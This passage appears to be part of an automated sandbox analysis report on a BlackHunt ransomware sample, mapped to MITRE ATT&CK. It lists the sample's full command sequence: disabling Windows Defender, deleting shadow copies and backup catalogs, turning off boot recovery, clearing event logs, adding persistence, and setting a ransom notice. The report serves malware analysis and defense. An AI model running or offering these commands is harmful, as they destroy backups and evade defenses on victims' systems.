wrote to memory of 2572 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 50 PID 2912 wrote to memory of 2572 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 50 PID 2912 wrote to memory of 2636 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 51 PID 2912 wrote to memory of 2636 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 51 PID 2912 wrote to memory of 2636 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 51 PID 2912 wrote to memory of 2636 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 51 PID 2764 wrote to memory of 3008 2764 cmd.exe 54 PID 2764 wrote to memory of 3008 2764 cmd.exe 54 PID 2764 wrote to memory of 3008 2764 cmd.exe 54 PID 2912 wrote to memory of 1312 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 56 PID 2912 wrote to memory of 1312 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 56 PID 2912 wrote to memory of 1312 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 56 PID 2912 wrote to memory of 1312 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 56 PID 2912 wrote to memory of 3024 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 57 PID 2912 wrote to memory of 3024 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 57 PID 2912 wrote to memory of 3024 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 57 PID 2912 wrote to memory of 3024 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 57 PID 2912 wrote to memory of 692 2912 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe 59 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe"C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2912 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:3008
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2772
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2336
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2788
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2648
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2928
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2396
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2924
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2692
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2868
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:944
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2228
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2900
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2572
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2636
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2836
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1312
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:3024
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:692
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1620
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:472
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2504
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1932
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1176
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:616
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1504
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2244
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:588
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1348
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:548
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2440
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2512
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2824
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2888
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2568
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2812
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1168
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2780
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe" /F2⤵PID:1988
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe" /F3⤵
- Creates scheduled task(s)
PID:2900
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2592
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1560
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1772
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1544
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2440
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1512
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2404
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2456
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:568
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2708
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1620
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2944
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1164
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1960
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2360
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2532
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:1372
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2796
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2404
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2720
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2676
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:1776
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1604
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3000
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:328
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1828
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1676
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:544
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2748
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2864
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1104
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1576
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1988
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2608
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2372
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2668
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2060
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2872
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2936
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:676
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3028
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2072
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:1092
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:1960
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1324
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2652
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe"2⤵
- Deletes itself
PID:2656 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1732
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2716
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2248
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:952
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1544
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD56a306e5e27023b01b8b3ab4d2580fd95
